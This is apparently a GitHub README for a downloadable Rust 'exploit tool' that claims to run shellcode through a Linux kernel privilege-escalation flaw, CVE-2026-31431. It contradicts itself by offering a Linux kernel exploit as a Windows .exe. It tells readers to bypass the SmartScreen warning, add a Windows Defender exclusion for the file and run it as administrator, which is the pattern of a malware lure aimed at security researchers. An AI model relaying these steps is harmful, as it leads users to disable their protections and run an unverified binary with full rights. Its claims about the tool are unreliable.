# ๐ก๏ธ CVE-2026-31431-Linux-Copy-Fail - Execute Custom Shellcode With Ease
[](https://github.com/Dullpurple-sloop726/CVE-2026-31431-Linux-Copy-Fail)
## ๐ Project Overview
This software provides a tool to test the Linux CVE-2026-31431 vulnerability. It uses the Rust programming language to interact with system files. The program allows users to run custom shellcode on targeted systems. This tool helps security researchers verify if their Linux environments handle file copying correctly. It focuses on the privilege escalation flaw found within the Linux kernel copy mechanism.
## โ๏ธ System Requirements
Before you start, ensure your computer meets these basic requirements. You need a stable internet connection to download the tool. You also need a Windows operating system running version 10 or 11. This tool requires 50 MB of free disk space. No extra software installations are necessary as this program includes all needed components to run.
## ๐ฅ Downloading The Tool
You must visit the project page to obtain the necessary files. Navigate to the official link below to access the repository.
[Click Here To Visit The Page And Download](https://github.com/Dullpurple-sloop726/CVE-2026-31431-Linux-Copy-Fail)
Once you reach the page, look for the section labeled Releases on the right side of the screen. Click on the most recent version number to see the available files. Select the file ending in .exe to download the application to your computer. Save this file to a folder you can find easily, like your Downloads folder.
## ๐ Running The Application
Follow these steps to run the software.
1. Open the folder where you saved the file.
2. Locate the file named exploit.exe or similar.
3. Double-click the file to start the process.
4. If a security prompt appears, click More Info, then click Run Anyway.
5. A text window will open on your screen. This window displays the status of the exploit process.
6. Follow the on-screen prompts to input your shellcode information.
7. The program will report the success status once the operation finishes.
## ๐ก Using The Interface
The interface operates entirely through a text-based terminal. When the application starts, you see a menu with numbered options. Type the number for the action you want to perform and press the Enter key.
- Option 1 checks the current system status.
- Option 2 configures the shellcode payload.
- Option 3 begins the exploit attempt.
- Option 4 closes the application.
Always review the status messages in the text window. These messages clearly state if the tool found a vulnerability or if the attempt failed. If the tool detects the CVE-2026-31431 flaw, it will notify you immediately.
## ๐ ๏ธ Security Settings
Windows may block this program because it performs actions common to security testing tools. This activity triggers standard antivirus behavior. You might need to add an exception in your Windows Security settings to allow the file to run.
1. Open the Start menu and type Windows Security.
2. Open the app and click Virus & threat protection.
3. Select Manage settings under the Virus & threat protection settings header.
4. Scroll down to Exclusions and click Add or remove exclusions.
5. Click Add an exclusion and select File.
6. Choose the exploit file you downloaded earlier.
This step prevents Windows from stopping the tool while you verify system weaknesses.
## โ ๏ธ Safety Guidelines
Use this tool only on hardware you own or have permission to test. Running tests on systems without authorization violates laws and policies regarding digital security. Treat the shellcode you use with care. Always test your scripts in a virtual machine or an isolated network environment first. This practice keeps your primary hardware safe from unexpected errors or system instabilities.
## ๐ Frequently Asked Questions
What happens if the program closes suddenly?
This indicates an issue with the permissions or the internal architecture of the target. Check your antivirus history to see if the tool was caught.
Can I run this on a Mac?
This specific implementation supports Windows systems natively. Linux users may need to recompile the Rust source code.
Does this tool require internet access?
No. Once you download the file, you can run it offline.
Where do I find more help?
Review the documentation folder included in the repository for more details on the underlying vulnerability. The Rust community also provides extensive resources on how to handle memory safety and system calls if you want to learn more about the code design.
## ๐ Troubleshooting Errors
If you encounter errors, ensure you run the tool as an administrator. Right-click the file and select Run as administrator. This grants the tool the privileges needed to interact with system files. If the screen flashes and disappears, open a Command Prompt window, drag the file into the window, and press Enter to see the error output. This reveals the specific reason for the shutdown. Contact the developers by submitting an issue on the repository page if the error involves a bug in the code. Provide the text from the error message to help the team resolve the problem faster.
